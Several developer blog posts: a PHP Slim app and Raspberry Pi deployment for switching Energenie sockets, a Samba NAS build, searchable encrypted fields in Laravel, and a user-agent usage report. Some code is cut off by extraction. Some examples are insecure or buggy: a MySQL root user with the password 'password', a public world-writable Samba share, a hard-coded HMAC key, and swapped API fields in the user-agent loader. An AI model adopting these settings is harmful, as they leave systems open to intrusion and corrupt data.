program} {$this->scriptPath}/energenie_pair.py {$this->socket->getId()}";
    }
}

SocketPair.php

And finally, the factory:

scriptPath = $config->get('scripts_path');
    }

    public function createSocketOperation(string $operation, Socket $socket)
    {
        if ($operation == self::OPERATION_ON)
        {
            return new SocketPowerOn($socket, $this->scriptPath);
        }
        else if ($operation == self::OPERATION_OFF)
        {
            return new SocketPowerOff($socket, $this->scriptPath);
        }
        else if ($operation == self::OPERATION_PAIR)
        {
            return new SocketPair($socket, $this->scriptPath);
        }
        
        throw new SocketOperationNotFoundException();
    }
}

SocketOperationFactory.php

In this example, I'm injecting a Configuration object that I created to hold any config info that would need to be available at any point in the application. In this case, I'm adding the bin/scripts directory of our project so those are the scripts executed when calling a socket operation. To make this available, I added the following to our config/bootstrap.php file:

    // Configuration
    Configuration::class => new Configuration([
        // python scripts path
        'scripts_path' => __DIR__ . '/../bin/scripts'
    ])

Controllers

Now we need to develop the controllers. We only need two actions for now: rendering the home page or executing an operation. Slim allows you to create controller action in several ways, such as:

As a closure function where the route is defined (as in the bootstrap.php example).
As a class implementing __invoke() method.
As a class method.

I'm going to go ahead and use the third way, as I'm sure having a controller class will be useful as the application grows. The switch action can be defined in src/Controllers/ like this:

em = $em;
        $this->operationFactory = $operationFactory;
    }

    public function switch(Request $request, Response $response, $args){

        $data = $request->getParsedBody();
        $socket = $this->em->getRepository(Socket::class)->find($data["socket"]);
        $operation = $this->operationFactory->createSocketOperation($args['power'], $socket);
        
        try
        {
            $operationReturn = $operation->run();
        }
        catch (\Exception $ex)
        {
            $errorResponse = ['message' => $ex->getMessage()];
            $response->getBody()->write(json_encode($errorResponse));
            return $response
                        ->withHeader('Content-Type', 'application/json')
                        ->withStatus(400);
        }

        $returnData = ['message' => "Socket {$socket->getName()} is {$args['power']}", 'result' => implode(' ', $operationReturn)];
        $response->getBody()->write(json_encode($returnData));

        return $response
                ->withHeader('Content-Type', 'application/json');
    }
}

SwitchController.php

We need to add the routes on the bootstrap.php file like so:

post('/switch/{power}', SwitchController::class . ':switch');
$app->get('/', HomeController::class . ':home');

bootstrap.php

View

The last thing to do is to create the home (and only) page controller. For this, I'll be using Bootstrap, and JQuery to send the requests to the server. First we need to develop the controller:

em = $em;
        $this->view = $view;
    }

    public function home(Request $request, Response $response, $args){
        $socketRepository = $this->em->getRepository(Socket::class);
        $sockets = $socketRepository->findAll();
        return $this->view->render($response, 'index.twig', ["sockets" => $sockets]);
    }
}

HomeController.php

And finally, a view using Twig:



    
        
        
        
        
        

        Cam House sockets

        
        
        
    

    
        
            
                House Sockets
            

            
                
                
                
                    {% for socket in sockets %}
                        
                    {% endfor %}
                    
                    
                            Socket {{ socket.id }} {{ socket.name }} {{ socket.description }} on off

With this, our web application to control the switches can be considered finished for the scope of this article.

Set up web server

Install Apache

In order to deploy our application to our Raspberry Pi, we first need to set it up as a web server. The software par excellence that allows the machine to manage user http requests is Apache, which is at the moment the most used web server with about 60% of the web using it.

Before installing Apache it is always good practice to update our machine:

$ sudo apt-get update
$ sudo apt-get upgrade

Once the Raspberry Pi is up to date, we install the Apache server

$ sudo apt-get install apache2

Once the installation is completed, we can test that Apache is working properly by going to the Raspberry Pi address on a browser, so we can open our browser and type "http://192.168.0.31". You should then get a page with a message saying "It works!" and plenty of other text.

Install PHP

We need to install the PHP interpreter in order to serve our application:

$ sudo apt install php php-mbstring

To check php is working, delete the index.html file in /var/www/html and then create an index.php file:

echo "" > /var/www/html/index.php

Check again "http://192.168.0.31" and we should see the PHP info page.

Install MySQL

$ sudo apt-get install mariadb-server php-mysql

To check MySQL is working we will connect via the command:

$ sudo mysql --user=root

We will now delete the default MySQL root user and create a new user, because the default one can only be used with Linux root account, and so not available for the webserver and php scripts. To do so, once we connect to MySQL, we simply run the following commands:

DROP USER 'root'@'localhost';
CREATE USER 'root'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' WITH GRANT OPTION;

So we now have a web server, connected to PHP and MySQL.

Deployment

Copy files and add permissions

Due to the simplicity of this project, we will not set up any complex deployment strategy. To deploy our application we'll keep it simple this time: we will copy over our code files to our Raspberry Pi web directory /var/www/html using an FTP client like Filezilla.

The Apache user www-data will be the one reading the web app so we should set it as owner and grant apropriate permissions:

$ sudo chown -R pi:www-data /var/www/html/
$ sudo chmod -R 770 /var/www/html/

Then, we need to make sure the energenie python scripts work. We can test this with Postman. Take into account that it will be the www-data linux user who will be executing the python scripts so we need to make sure that it has the correct permissions and the scripts are executable so we need to run the following:

$ sudo chmod +x /var/www/html/bin/scripts/energenie_pair.py
$ sudo chmod +x /var/www/html/bin/scripts/energenie_switch.py

I had trouble getting this to work because the www-data needed to be added to the gpio group in order to have access to the GPIO pins of the Raspberry Pi. Having googled around, this is apparently no longer required. However, I still needed to do it:

$ sudo adduser www-data gpio

Redirect traffic

Now, as we mentioned eariler, we need to redirect all the traffic to the single entry point, located in public/index.php. To do that, we create a .htaccess file in public/ with the following code:

# Redirect to single entry point
RewriteEngine On
# RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php [QSA,L]

and add another .htaccess file on the project route directory:

RewriteEngine on
RewriteRule ^$ public/ [L]
RewriteRule (.*) public/$1 [L]

This will override any attempt to access a script directly and direct it to the public/index.php entry point.

And it's ready!

The application should now be available to view and use on our Raspberry IP address, so typing http://192.168.0.31 on a browser should show our fully working application:

Conclusions and furtherwork

With this example, we have shown the whole development, set-up and deployment of a properly structured web application running on a Raspberry Pi plus the use of the PiMote board, as an application to home domotics. Our software and hardfware set-up allows us to switch our sockets on and off as long as we're connected to our house network. Further improvements to the software should allow us to program our sockets at different times of the day as it was the original intention of this article. Due to the length of this article, this will be developed in next article.

Other improvements could involve making the application available outside our network so we can edit our programs and manually switch our Energenie sockets when we are away.

NAS server on a Raspberry Pi

Samuel Rebollo Díaz — Mon, 20 Jul 2020 17:43:00 GMT

In this spring/lockdown clearing, I unburied an old Raspberry Pi I bought several years ago but never did anything with it. I was in need of a new project so I decided to do something useful and build a file server. My current laptop's HD is only 500GB which is no longer enough to hold all my files. I have 20 years of pictures, and all the files I've accumulated during the years that add up to around 700GB. Having all my data copied on the computer's hard drive is not an option any more so I have an external HD that I use to store stuff. I regularly backup the content of my working hard drive to another external one since a time when I almost lost everything due to an HD malfunction (I had to send my hard drive to a specialised data recovery company and spend 1300 euros to get my data back).

So I decided to create this NAS server in order to have my data accessible without the bother to have to plug the external HD (and use one of the two usb ports I have available) and considering it would be a first step to automate and schedule my backup process.

Stuff I used

Raspberry PI 2 model B (I guess any other can be used, but this is the one I had).
32 GB Micro SD card
Old micro USB mobile charger as a power source (Output ~ 5V, 2A)
1 TB external HD
WiFi dongle (for setup only, this model doesn't integrate wifi and my screen is far from the router so I used a wifi dongle for the first setup).
USB keyboard (for setup only)
HDMI Screen (for setup only)

Let's get started

1. Burn SD card

The first thing you need to do is prepare the SD card. Raspberry Pi has now its own application to do this so we don't need to use etcher any more. Just download and install Raspberry Pi Imager, select OS and SD card and burn the card.

As I'm preparing the card for a file server, I won't be needing any graphic interface so Raspberry Pi OS Line version is enough.

2. Plug and go

Once the card is ready, insert it into the Raspberry Pi, plug the power source, the wifi dongle, the screen and the keyboard. The Raspberry Pi should start when you plug the power source into the socket.

Once the OS has finished loading, login as the pi user (by default the password is 'raspberry')

3. Config WiFi

This step is only necessary if you can't plug your Pi ethernet port to your router. I needed to do this step for setup but used the ethernet port later.

To tell the Raspberry Pi to connect to our WiFi network we need to edit a file called wpa_supplicant.conf.

To open the file in nano type the following command:

$ sudo nano /etc/wpa_supplicant/wpa_supplicant.conf

Add the following to the file to configure our network:

network={
	ssid="WIFI name"
	psk="password"
}

For this config to take effect, we need to restart our Raspberry.

$ sudo reboot

Once it has restarted, check that the network is accessible by typing:

$ ifconfig wlan0

4. Activate ssh

It is good practice to change the default password before activating remote access through ssh to avoid any security issues. To change the password for the pi user, log in as pi and type:

$ passwd

Once the password is changed, we can activate ssh by typing:

$ sudo raspi-config

and selecting 5 Inerfacing Options

And then P2 SSH.

Once SSH is enabled, we can unplug the screen and keyboard, and access it remotely. I also moved my Raspberry Pi next to the router, connected it to the Raspberry Pi ethernet port and removed the WiFi dongle.

Once this was done and the Raspberry pi was back on, I could ssh from my computer and continue the process.

$ ssh pi@192.168.0.31

5. Install Samba

Samba is a free implementation of the SMB networking protocol; it provides file and print services and allows Linux computers to integrate into Microsoft’s active directory environments seamlessly. By using Samba, we can easily share directories over the netwokr in a way that can be easily acessed by ani operating system.

The first thing is make sure that everything is up to date in our Raspberry Pi.

$ sudo apt-get update
$ sudo apt-get upgrade

Now install the Samba packages we require.

$ sudo apt-get install samba samba-common-bin

6. Install and format the external hard drive

If the disk is not formatted, we need to format it. In my case the disk was formated using the exFAT file system as I needed to access it using both macOS and Windows devices. However, as the disk is now only going to be connected to a Linux server and accessed through Samba, I decided I'd format it in a linux file system to maximise performance. Ext4 is the default system for linux, it is the latest "extended file system" and includes newer features that reduce file fragmentation, allows for larger volumes and files, and uses delayed allocation to improve flash memory life. So after having backed up the HD, connect the disk on a USB port of the Raspberry Pi.

First, we need to identify the disk by typing

$ lsblk

here we can see the disk is referred to as sda1. If the disk is automatically mounted, we need to unmount it:

$ sudo umount sda1

To delete the disk partitions, type:

$ sudo fdisk /dev/sda1

and follow the instructions to delete all partitions. Then, to create the new partition and format the disk using ext4, type:

$ sudo mkfs.ext4 /dev/sda1

7. Mount the external drive

We want, not only to mount the drive but for it to be automatically mounted on boot so in case of system restart, the drive will be mounted on the same volume. For that we need to modify the file /etc/fstab and know the UUID of our disk. The fstab file controls how drives are mounted to our system and the lines that we add to will tell the operating system how to load in and handle our drives. We must be careful with this config because if we input the wrong info, the system may fail to boot.

To retrieve our disk UUID, type

$ sudo blkid /dev/sda1

We get something like the following:

$ /dev/sda1: UUID="25379391-12a6-46fa-8b9c-02ed1a85e56f" TYPE="ext4" PARTUUID="f271fce2-01"

Now, let's create a directory for the drive to be mount:

$ sudo mkdir /media/shared

And assign ownership to the pi user:

$ sudo chown -R pi:pi /media/shared

Next, we need to modify the fstab file by executing:

$ sudo nano /etc/fstab

and adding this to the file:

UUID="25379391-12a6-46fa-8b9c-02ed1a85e56f"	/media/shared	ext4	defaults,auto,users,rw,nofail,noatime	0	0

where UUID is the one retrieved earlier by blkid, /media/shared is the mounting directory and ext4 is the disk file system. Save the file and restart the system:

$ sudo reboot

Once, restarted you should be able to see the drive properly mounted on our chosen directory:

$ df -h

8. Create shared drive

The last step to create our shared drive is to config samba to use the desired directory. To do so, edit the smb.conf file:

$ sudo nano /etc/samba/smb.conf

And add something along the lines of:

[SHARED]
   comment = external hard drive
   browseable = yes
   path = /media/shared
   writeable = Yes
   create mask = 0777
   directory mask = 0777
   browseable = Yes
   public = yes
   hide unreadable = yes

Where SHARED is the name we chose for the shared directory, path is the mounted volume path, public=yes indicates we don't need an authenticated user to use it and hide unreadable=yes will hide the lost+found directory created by the linux file system.

After that, you need to get an access to the sharing directory we’ve just created. For that, the user pi should be allowed to be the Samba user.

$ sudo smbpasswd -a pi

Input a password and we're ready to go. Finally, restart the service:

$ sudo /etc/init.d/samba-ad-dc restart

9. Connect your computer to the file server

The last thing to do is connect your own computer to the file server and map a network drive so you have it accessible as any of your own computer drives. That is easy to achieve in my Mac by going to Finder/Go/Connect to Server and adding our Raspberry Pi address:

And it's all done! We now have a NAS server working on our own network and we can use to share files between different devices or, in my case, complement my computer storage without having to connect a USB drive.

Conclusions

It's been a cool project that hopefully anybody else can replicate by following this instructions. I now have given some use to that Raspberry Pi computer that I had unused for years and it's very useful y my daily live. I even added a couple of features: an LED power indicator and a power button to complete the project.

Searchable encrypted database fields in Laravel

Samuel Rebollo Díaz — Fri, 02 Mar 2018 20:07:00 GMT

My current company records sensitive client data, including identifiers such as names, addresses and other personally identifiable information. It is then very important for us to keep security in mind in the whole system. Our product is a web application that is accessed through three-factor authentication. We, of course use SSL/TLS to secure the data exchange with end to end encryption. But as sensitive as the data is, we need to make sure we provide enough security layers to make sure any data trasnfer is secure. We are currently developing using Laravel 5.5, the last LTS laravel version, so the code bits of this article will be Laravel-based. However, the concepts are applicable to any environment with a similar problem and structure.

Structure

Our database and application servers are physical servers, racked in the same data center and network but separate machines. We would like to be able to protect our client's data in case the database server was compromised but not the application server. That said, it makes sense to encrypt the sensitive information fields on DB, as long as the DB server doesn't have access to the encryption keys. Lastly, the system needs to support searching, as users need to be able to search for a client's name, surname, etc.

hardware structure

Before we start

Before we get to the matter, let's briefly explain some cryptograpy concepts:

Encrypting is the practice of encoding information in a way that only someone with a corresponding key can decode and read it. Encryption is a two-way function. When some information is encrypted, it is supposed to be decrypted at some point.

Hashing is the practice of using an algorithm to map data of any size to a fixed length. It can be used to index non-numerical data. Hashing is a one-way function. When some information is hashed, it is not supposed to be 'un-hashed'. While it’s technically possible to reverse-hash something, it would involve brute force re-engineering so the computing power required makes it unfeasible.

Salting is a concept that typically pertains to password hashing, although it can also apply to encryption. Essentially, it’s a unique value that can be added to the end of the original text to create a different hash value. This adds a layer of security to the hashing process, specifically against brute force attacks.

Implementing encryption of DB fields in Laravel

We're going to use the Laravel Crypt façade, that uses AES-256 encryption by default. Secure encryption schemes, like AES, are designed so that encrypting the same value twice generates different encrypted values. That way, the encryption is non-deterministic and thus secure against an evesdropping attack. Encrypted values are longer than their plain text counterparts so in order to store the encrypted data, we are going to use text fields on DB.

In order to access DB fields, we can override the default accessors and mutators of a Laravel (Eloquent) model to decrypt the value when accessing and encrypt it before persisting. This can be developed in a trait, so it can be reused in any model:

encrypted))
        {
            $value = Crypt::decrypt($value);
        }
        
        return $value;
    }

    public function setAttribute($key, $value)
    {
        if (in_array($key, $this->encrypted))
        {
            $value = Crypt::encrypt($value);
        }

        return parent::setAttribute($key, $value);
    }

// ...

Encryptable trait (version 1)

If we include the property $this->encrypted in our model, containing the names of the encrypted properties we can, with this simple trait, acomplish the encryption/decryption of database fields.

Searchable encryption

However, as the encryption scheme is non-deterministic, searching is not possible as if we encrypt the filtering fields provided on the searching action, it would generate a different encrypted string with which comparison would make no sense. So in order to be able to search, we need to add an index for every encrypted column.

The idea is to store a keyed hash (rather than a salted hash) of the unencrypted value in a separate column to use as an index. It is important that the hash key is different from the encryption key and unknown to the database server.

The following code examples assume that every encrypted field on the model, will have a corresponding index, named in the same way but with the string '_index' added at the end.

Let's consider the following model:

CREATE TABLE `clients` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `forename` text,
  `surname` text,
  `forename_index` varchar(64),
  `surname_index` varchar(64),
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL,
  PRIMARY KEY (`id`)
);

The migration up() function would look like:

public function up()
{
    Schema::create('clients', function (Blueprint $table) {
        $table->increments('id');
        $table->text('forename');
        $table->text('surname');
        $table->string('forename_index');
        $table->string('surname_index');
        $table->timestamps;
    });
}

We need to modify our trait to include the functionality to store the index:

encrypted))
        {
            $value = Crypt::decrypt($value);
        }

        return $value;
    }

    public function setAttribute($key, $value)
    {
        if (Str::endsWith($key, "_index"))
            return $this;

        if (in_array($key, $this->encrypted))
        {
            parent::setAttribute("{$key}_index", $this->hash($value));
            $value = Crypt::encrypt($value);
        }

        return parent::setAttribute($key, $value);
    }
        
    public function attributesToArray()
    {
        $attributes = parent::attributesToArray();
        foreach ($attributes as $key => $value)
        {
        	// if the attribute is an index, remove it from the. attributes list.
            if (Str::endsWith($key, "_index"))
            {
                unset($attributes[$key]);
            }
            else
            {
                if (in_array($key, $this->encrypted))
                {
                    if($value)
                    {
                        $attributes[$key] = Crypt::decrypt($value);
                    }
                }
            }
        }

        return $attributes;
    }
    
	// hash function to create the index. This is not production-quality code.
    public function hash($value)
    {
        return hash_hmac("sha256", $value, base64_decode("2C83ZwVdGPgMUi8Z16MvGmjeaSXz3HpYuHWuW7sR9ZY="));
    }
    
	// ...

}

Encryptable trait (version 2)

Our eloquent model would look like the following:

So if we input the data below, the DB content would result as follows:

[
	{
		"forename": "John",
		"surname": "Reynolds"
	}
]

input data

[
	{
		"forename": "eyJpdiI6IjlIbzcrWHFvUHdSZkhndUp3M2Zoa2c9PSIsInZhbHVlIjoiSlg4aFlXcWg3bGZxcXdVVlowdnVkUT09IiwibWFjIjoiYTA0MzU0YzZlNWNkYzhkMWJlNTQ1MjUzOThiMGFjMmRlODRmYmIxZmM4MjQzMTQ4OTUzM2JkNDg4ZDM4ZjU5YyJ9",
		"surname": "eyJpdiI6IlRJNDN0a2U1TUp3VkJqZGFVY0gyb3c9PSIsInZhbHVlIjoiZXhVKzBLMXdOQWdcL1ZNK1JEVEZqUXc9PSIsIm1hYyI6IjlmZGI2N2Q0ZmEzY2Q2MzFjZTdmZjZjZmMyODM4ZWZlMjkzMGUxMDBiM2NiMTg1YWQ5YmRmNmNiMTFlNjI5ODIifQ==",
		"forename_index": "5d81f6bac397a44b58bdae00a185cb1fa844ed2ff9a14efe0805a2b22b3ebcbb",
		"surname_index": "a12afb44b0845a481c705a1c990d43c52d7a51e384c8a72665d0036d614ca6c6"
	}
]

DB content

Lastly, when a controller action wants to filter models depending on one or more encrypted fields, we need to make sure that the same hash function is applied to the requested fields and use the hashed index instead of the raw field.

We can achieve this in Laravel by overriding the default eloquent query builder that our model uses. First, we need to extend the eloquent query builder:

encrypted =  $encrypted;
        $this->hashFunction =  $hashFunction;

        parent::__construct($query);
    }

    protected function hash($value)
    {
        $hash = $this->hashFunction;
        return $hash($value);
    }

    /**
     * Add a basic where clause to the query.
     *
     * @param  string|array|\Closure  $column
     * @param  mixed   $operator
     * @param  mixed   $value
     * @param  string  $boolean
     * @return $this
     */
    public function where($column, $operator = null, $value = null, $boolean = 'and')
    {
        $encrypted = $this->encrypted;
        $function = function ($item) use ($encrypted){  
            if (in_array($item[0], $encrypted))
            {
                return ["{$item[0]}_index", $item[1], $this->hash($item[2])];
            }

            return $item;
        };


        if (is_array($column))
        {
            $arrayColumn = [];
            foreach ($column as $key => $val) {
                if (is_numeric($key) && is_array($val)) {
                    $arrayColumn[$key] = array_map($function, $val);
                } else {
                    if (in_array($key, $encrypted))
                    {
                        $arrayColumn["{$key}_index"] = $this->hash($val);
                    }
                    else
                    {
                        $arrayColumn[$key] = $val;
                    }
                }
            }

            return parent::where($arrayColumn, $operator, $value, $boolean);
        }

        if (in_array($column, $encrypted))
        {
            [$value, $operator] = $this->prepareValueAndOperator(
                $value, $operator, func_num_args() === 2
            );

            $column .= "_index";
            $value = $this->hash($value);
        }

        return parent::where($column, $operator, $value, $boolean);
    }

}

EncryptableQueryBuilder.php

and finally, include the following function in the Encryptable trait, to override the default model one:

hash($value);
        };

        return new EncryptableQueryBuilder($query, $this->encrypted, $hashFunction);
    }
}

Encryptable trait (version 2 extended)

And that's it! Now, we can filter using plain data directly on the on the controller action, so if define our controller action in the laravel web routes file:

all())->get();
});

routes/web.php

We will get the desired data without the need of manually hashing and indexing the filtering fields:

`Conclusions and furtherwork`

Given our example and the encryption and hashing key are different and stored in the application server, and the database can't access them, then an attacker that compromises the database server only will be able to learn if clients have the same name or surname but not what the name is. This multiple entry leak is necessary in order for indexing to be possible, which could be a risk for common names in this example. It could also reveal if two seemingly unrelated people in the DB share the same address, the same surname and other data that reveal that those people belong to the same family.

Also this approach has the limitation of only working for exact matches. If two strings differ in a meaningless way (for example the letter case) it will always generate a different hash so would never find a match. Names and surnames can also include particles or characters (de, de la, O', Mac) that should be ignored for search. For example, if we're searching the surname O'Brian, it should be found by "O'brian", "Obrian", "OBrian". If we are searching "de León", it should be found by "de Leon", "Leon", "león", etc.

A first solution to this could be process the name index before being hashed to perform trasnformation to lower-case, remove particles and accents, map non-standard-ASCII latin characters to its corresponding ASCII (ñ, ß, õ, å, ü to n, ss, o, a, u), etc. I'd like to investigate how useful it would be to combine this with the use of the levenstein function in PHP as well as soundex or metaphone to create a more. It could help us implement a fuzzier name search.



User Agent String, usage statistics and reporting
Samuel Rebollo Díaz — Sat, 02 Dec 2017 17:13:00 GMT
Lately, I have been developing in JavaScript more than I used to. I have recently discovered the JavaScript  functions .map(), .reduce() and .filter(), which are equivalent to my beloved array_map, array_reduce and array_filter in PHP. However, not every browser supports them. They are not supported, for example, by IE8 and I know some of our users still use it.
My current company develops a private web application that holds sensitive data, including personally identifiable information (PII) from thousands of clients. I wanted to do a browser analysis and see how sensible it would be to upgrade the JavaScript on our application so I could use the mentioned functions. We don't have Google Analytics set up and I decided we should not use it. I know Google takes privacy and security seriously, are ISO certified (17021 and 27006) and have controls and procedures to ensure data isn’t accessed by the wrong people. However, using Google Analytics involves having to insert a JavaScript snippet into your web app and that would theoretically give Google the technical opportunity to have this JavaScript code do anything to your site or visitors.  The use of any third party script is against our policy.
User Agent String
As our application queries sensitive data from clients, we are supposed to record which user saw which kind of sensitive data and when. We keep this information for 90 days in order to be able to conduct an investigation in case of a data breach, misuse of personal data or malicious access. Our log records the following data on a DB table:

    User ID ID of the application user that is accessing the information
    Client ID ID of the client whose information is being queried
    Data type The type of sensitive data that it is being accessed, ie, date of birth, name, address
    Timestamp Date and time of information viewing
	User Agent String User's browser user agent string
As you can see, one of the pieces of data we're recording from users is the User Agent String (UA). A user agent string is a string of characters that is sent as an HTTP header by the browser on every request and helps the server identify which browser is being used, what version, and on which operating system, among other things. Here's an example of UA:
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
This user agent string corresponds to Chrome 62.0.3202.94 on Windows 7
There are millions of UA combinations. Every device type (including phones, tablets, desktops), browser or operating system may come with its own UA. Luckily, there are free APIs out there that can help us parse these strings in order to accurrately detect these different items. For the purpose of this simple analysis, I used UserAgentString.com, which is free and there is no need for an API key.
Taking all this into account, we could create a simple reporting project for us to analyse OS and browser usage of our users.
The project
The idea is to create a small project that would help us understand which kind of systems our users have and use to access our platform. The project would use the data we already collect, transform it to enrich its value and present it in a visually atractive way, so it is easy to analise and draw a conclusion. Even though this is a very small project, it could be considered a BI project, given the fact that we are looking to perform data analysis of "business information". Moreover, we are going to use some Data Warehousing concepts. 
What we have
As explained above, we have a view log that contains the user agent string of the users that query client's data. This information is collected in our PostgreSQL DB in a table with the following structure:
CREATE TABLE viewlog
(
	view_id SERIAL,
	user_id integer,
	client_id integer,
	data_type character varying(50),
	viewtime timestamp with time zone,
	useragent character varying(400)
);
This table only keeps the data for a period of 90 days so any date older than today - 90 days is automatically cleared by our software.
The field view_id is an auto-incrementing Primary Key that we don't really need for our project. We don't need user_id or client_id which are, as mentioned, fields that (anonymously) identify people. The field data_type is also not relevant to our project. We're then left with viewtime and useragent. We will use useragent to extract our users systems information and the viewtime field can be kept for statistical purposes. However, we don't need the exact time at which any information was queried so we can aggregate these records per day and then count how many times a useragent was used, something like:
-- in PostgreSQL, 'timestamp::date' casts a timestamp as a date, removing the time part

SELECT useragent, viewtime::date, count(*)
FROM viewlog
GROUP BY useragent, viewtime::date;
Also, we can use the API mentioned above to extract more exact information on the browser and OS use. By submitting a user agent string to this API, we can get back specific fields with the OS name, browser name and version. We could enrich our DB with this information and use it on our reporting.
The model
The idea is to copy data from one source (the viewlog table) into a destination system (our model) which represents the data in a different context than the source. This data integration concept is called Extraction, Transformation, Load (ETL) and is the approach used to build Data Warehouses. Our DB model is going to consist of two tables:
CREATE TABLE useragents
(
    id SERIAL PRIMARY KEY,
    ua_string CHARACTER VARYING(400) UNIQUE,
    os_name CHARACTER VARYING(50),
    browser_name CHARACTER VARYING(50),
    browser_version CHARACTER VARYING(50),
    insert_time TIMESTAMP,
    update_time TIMESTAMP
);

CREATE TABLE dailyuseragentuse
(
    id SERIAL PRIMARY KEY,
    useragent_id integer REFERENCES useragents(id) ON DELETE RESTRICT ON UPDATE CASCADE,
    usage_date DATE,
    usage_count INTEGER,
    UNIQUE(useragent_id, usage_date)
);
Usage stats model
We're going to copy unique user agent strings from to the viewlog table into the useragents table, then enrich that information using the API. Then we'll load the dailyuseragentuse table, by grouping the viewlog by date and user agent string. Lastly, we will use that information to plot a graph to help us visually analise the information.
Data flow diagram
Let's get to work
Our software, should do the following:
Periodically load the DB tables useragents and dailyuseragentuse from viewlog.
Enrich the useragents tables by using a web API to decode the useragent string and fill the fields os_name, browser_name, browser_version.
Plot, in some kind of data chart, our results to visually analyse them.
Load the DB tables from viewlog can be achieved with the following queries:
INSERT INTO useragents (ua_string, insert_time)
    SELECT useragent, NOW()
    FROM viewlog
    WHERE useragent NOT IN (SELECT ua_string FROM useragents)
    GROUP BY useragent;

INSERT INTO dailyuseragentuse (useragent_id, usage_date, usage_count)
    SELECT ua.id, log.viewtime::date, count(*)
    FROM viewlog log
    INNER JOIN useragents ua ON (log.useragent = ua.ua_string)
    GROUP BY ua.id, log.viewtime::date;
This can be executed on first load, and then we could setup a cron job to periodically upload info depending on the last time this was executed.
Use curl to enrich the useragents table by adding OS and browser info:
agent_name, $apiResult->agent_version and $apiResult->os_name
}
To plot a graph, we'll use D3 to develop a simple bubble graph and help us see OS and browser usage.
Server side
Let's consider the following simple class to deal with DB connections:
db = $db;
    }

    public function runQuery($query, $parameters = null)
    {
        $stmt = $this->db->prepare($query, $parameters);
        $stmt->execute($parameters);
        return $stmt;
    }

    protected function runSelectQuery($query, $parameters = null)
    {
        $stmt = $this->runQuery($query, $parameters);
        return $stmt->fetchAll();
    }
}
Then, the following class could deal with the first steps of loading the DB tables:
dbConnect = $dbConnect;
    }

    public function loadTables()
    {
        $lastLoadDate = $this->getLastDate();
        // Delete the usage data of the last recorded date, to cover for that usage
        // done on the same day of the last recorded date but after this load was executed.
        $this->deleteUsageFromDate($lastLoadDate);
        $this->loadUserAgentFromDate($lastLoadDate);
        $this->loadUsageFromDate($lastLoadDate);
    }

    protected function getLastDate()
    {
        $recordSet = $this->dbConnect
            ->runSelectQuery("SELECT MAX(usage_date) as lastdate FROM dailyuseragentuse;");

        return $recordSet['lastdate'];
    }

    protected function deleteUsageFromDate($lastDate)
    {
        $this->dbConnect->runQuery(
            "DELETE FROM dailyuseragentuse WHERE usage_date >= :lastdate;", 
            [':lastdate' => $lastDate]
        );
    }

    protected function loadUserAgentFromDate($lastDate)
    {
        $this->loadNewUserAgentStrings($lastDate);
        $this->updateUserAgentInfo();
    }

    protected function loadNewUserAgentStrings($lastDate)
    {
        $this->dbConnect->runQuery(
            "INSERT INTO useragents (ua_string, insert_time)
            SELECT DISTINCT useragent, NOW()
            FROM viewlog
            WHERE viewtime >= :lastdate
            AND useragent NOT IN (SELECT ua_string FROM useragents)
            GROUP BY useragent;", 
            [':lastdate' => $lastDate]
        );
    }

    protected function loadUsageFromDate($lastDate)
    {
        $this->dbConnect->runQuery(
            "INSERT INTO dailyuseragentuse (useragent_id, usage_date, usage_count)
            SELECT ua.id, log.viewtime::date, count(*)
            FROM viewlog log
            LEFT JOIN useragents ua ON (log.useragent = ua.ua_string)
            WHERE viewtime >= :lastdate
            GROUP BY ua.id, log.viewtime::date;", 
            [':lastdate' => $lastDate]
        );
    }

    protected function updateUserAgentInfo()
    {
        $dbAgents = $this->dbConnect->runSelectQuery(
            "SELECT ua_string FROM useragents WHERE update_time IS NULL;"
        );

        foreach($dbAgents as $agent){
        
            $ua = urlencode($agent['ua_string']);
            $ch = curl_init();
            $url = "http://www.useragentstring.com/?uas={$ua}&getJSON=agent_name-agent_version-os_name";
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        
            $apiResult = json_decode(curl_exec($ch));
            $http = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
        
            $this->dbConnect->runQuery(
                "UPDATE useragents 
                SET os_name = :osname, browser_name = :browsername, 
                    browser_version = :browserversion, update_time = NOW()
                WHERE ua_string = :uas;",
                [
                    ':osname' => $apiResult->agent_name,
                    ':browsername' => $apiResult->agent_version, 
                    ':browserversion' => $apiResult->os_name, 
                    ':uas' => $agent['ua_string']
                ]
            );
        
        }
    }
}
Usage stats loader
Given this, a cron job could be used to execute UsageStatsLoader::loadTables() every Sunday (the day of least activity of our app). This would ensure that our stats are updated enough and that we won't lose old usage data due to the viewlog table being cleared every 90 days.
Our model contains now the data, ready to be queried. This data is non-volatile, ie, we won't need to manually update/edit, delete or create new records. Historical data will be kept and will only be used for informational purposes.
To query this data, we could use a simple controller script to receive a GET request with the following parameters: system type (either browser or OS), and date range ("from" and "to" dates). Then, the controller would return a json string with the desired data:
runSelectQuery(
    "SELECT {$fieldString}, SUM(usage_count) AS count
    FROM dailyuseragentuse duse 
    LEFT JOIN useragents ua ON (duse.useragent_id = ua.id)
    WHERE duse.usage_date BETWEEN :datefrom AND :dateto
    GROUP BY name;",
    [':datefrom' => $_GET['from'] , ':dateto' => $_GET['to']]
);

echo json_encode($usageData);
Usage stats controller (usageStatsController.php)
Client side
The main target of any informational system is reporting, used for decision support. Visual analysis is the simplest systematic approach for making decisions. On the client side we are going to develop a simple end-user reporting tool. We only need a page to display a form with the required parameters and asynchronously send a request with them. Then, the JSON data received will be used to render a bubble graph. 
In order to make things as simple as possible and make my life easier, I've used a bunch of external things, like Bootstrap to display a nice enough form, jQuery to make the AJAX call and jQuery UI to display datepickers. Lastly, I have developed a simple D3 graph. D3 is a JavaScript library for creating visual representations of data. It is very powerful and the web is full of examples.



	
		Browser and OS usage report
		
        
        
        
        



      
        
          Usage report
        
        
        
            
                
                        
            
                
                
            
            
        
        
      
    
    
	
    
    

Reporting front-end
Results
